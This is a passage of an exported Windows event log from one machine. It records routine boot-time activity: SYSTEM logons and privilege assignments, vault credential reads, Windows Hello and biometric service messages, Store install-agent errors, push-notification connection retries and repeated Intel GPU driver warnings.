ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.022\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.102\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.102\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.125\t8025\tThe Microsoft Passport service started successfully.\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:36:06.132\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.133\t1600\t\"The Windows Biometric Service failed to start its secure component.\n\nReason for unavailability: 76.\n\nThe operation failed with error: 0x80070032.\"\tInformation\tMicrosoft-Windows-Biometrics/Operational\tMicrosoft-Windows-Biometrics\n05.09.2026 08:36:06.153\t1108\t\"The Windows Biometric Service successfully created a Biometric Unit for sensor: Windows Hello Face Virtual Software Device (\\Bootstrap\\Virtual Sensors\\{0527b250-7514-4321-8b68-41c65f956998})\n\nThe sensor's mode is \"\"Basic,\"\" its pool-type is \"\"System,\"\" and it's isolated in a \"\"Local System\"\" process.\n\nSee the \"\"Details\"\" pane for additional information about the sensor's new configuration.\"\tVerbose\tMicrosoft-Windows-Biometrics/Operational\tMicrosoft-Windows-Biometrics\n05.09.2026 08:36:06.158\t1108\t\"The Windows Biometric Service successfully created a Biometric Unit for sensor: Analog NUI Voice Virtual Sensor (\\Voice\\Virtual Sensors\\{F25AB4A2-593A-4A89-B9FF-8144BEA81E15})\n\nThe sensor's mode is \"\"Basic,\"\" its pool-type is \"\"System,\"\" and it's isolated in a \"\"Local System\"\" process.\n\nSee the \"\"Details\"\" pane for additional information about the sensor's new configuration.\"\tVerbose\tMicrosoft-Windows-Biometrics/Operational\tMicrosoft-Windows-Biometrics\n05.09.2026 08:36:06.160\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2194\n\tProcess Name:\t\tC:\\Windows\\System32\\DeviceCensus.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.168\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1003/37b5cc48-d2d4-4aab-93e7-8e74ef7366bd/login.live.com//8aa0580351688ef0\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:36:06.169\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.171\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x2194\n\tProcess Name:\t\tC:\\Windows\\System32\\DeviceCensus.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.176\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1003/37b5cc48-d2d4-4aab-93e7-8e74ef7366bd/login.live.com//8aa0580351688ef0\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:36:06.177\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:06.209\t5000\t\"TPM Manufacturer: Intel\nVersion: 2.0\nFirmware Version: 700.19.18.2682\nIs Ready: true\"\tInformation\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:36:06.537\t2000\t\"Process Name: C:\\WINDOWS\\system32\\devicecensus.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.537\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.564\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.571\t2006\t\"request: Microsoft.WindowsStore CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (1995)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:06.572\t2006\t\"result: Microsoft.WindowsStore, CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US, blocked = false\nError: The operation completed successfully.\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::::operator ()\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (2026)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:11.338\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:36:13.069\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:13.508\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.508\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.509\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.509\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:13.783\t6003\t\"\nError Code: Unknown HResult Error code: 0x880403e9\nFunction: \nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\wnschannel.cpp (61)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:13.788\t6004\t\"onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\wnschannel.cpp(61)\\pushtoinstall.dll!00007FFB9CD77527: (caller: 00007FFB9CD72A54) Exception(1) tid(6f8) 880403E9 \nError Code: Unknown HResult Error code: 0x880403e9\nFunction: \nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\service.cpp (293)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:14.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:14.512\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:14.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:15.179\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:16.846\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:22.285\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.286\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.286\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.299\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t1264\tAdding new user to the Windows Push Notification Service completed. 00180018E4F8342E [DeviceId] 0 [UserId] 0x8004ACB3 [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.301\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.315\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.319\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.351\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.357\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.357\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:22.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:22.572\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:22.572\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:25.188\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.412\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:25.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.196\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.412\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.862\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:26.973\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:27.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:29.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:30.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:31.138\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:31.138\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:31.139\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:31.139\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:32.319\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:33.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:36.188\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_DeviceGuard, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:36:36.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:39.911\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:39.911\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:39.911\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:39.921\t1216\tWNP Transport Layer proxy negotiation completed for the Data 